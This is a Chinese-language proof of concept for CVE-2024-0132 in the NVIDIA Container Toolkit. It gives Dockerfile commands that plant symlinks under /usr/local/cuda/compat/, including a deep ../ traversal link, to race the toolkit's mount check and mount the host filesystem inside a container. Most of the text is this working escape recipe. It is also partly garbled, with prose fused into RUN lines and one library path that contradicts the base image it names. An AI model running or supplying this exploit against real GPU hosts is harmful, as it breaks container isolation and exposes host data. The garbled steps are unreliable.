CVE-2024-0132 PoC
让我们从确定基础镜像开始。系统中库的排列方式取决于所选的基础镜像。例如,对于 alpine,库目录将是 /usr/lib64/;对于 ubuntu,则是 /usr/lib/x86_64-linux-gnu。我们将使用 ubuntu 作为基础镜像。
FROM ubuntu
NVIDIA 容器工具包会检查容器内 /usr/local/cuda/compat/ 中的库,然后将它们挂载到主库目录;对于这个镜像(ubuntu),主库目录就是 /usr/lib/x86_64-linux-gnu。
链接也会被挂载,因此你可以将镜像中的任何文件和目录挂载到 /usr/lib/x86_64-linux-gnu。它会检查链接是否在容器内被解析,不能使用多个 ../ 进行路径遍历。然而,可以通过两次经由 /usr/local/cuda/compat/ 的容器内挂载来绕过这一限制,因此这是一个 TOCTOU(检查时间到使用时间)漏洞。
更多关于从 /usr/local/cuda/compat/ 挂载的机制,请参阅:
RUN mkdir -p /usr/local/cuda/compat/
创建两个目录:
test 的普通文件RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
选择 libdxcore.so 这个名称是为了满足过滤器条件。主版本号 (1337) 必须与真实的驱动版本不同。
在 /usr/local/cuda/compat/ 中创建两个链接:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ 的内容替换为 /pwn/libdxcore.so.1337/ 的内容RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs 挂载到 /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs。在检查期间它是一个普通文件,但在挂载的瞬间,它将是 /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs 中的链接,因此宿主文件系统将被挂载到 /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/。RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2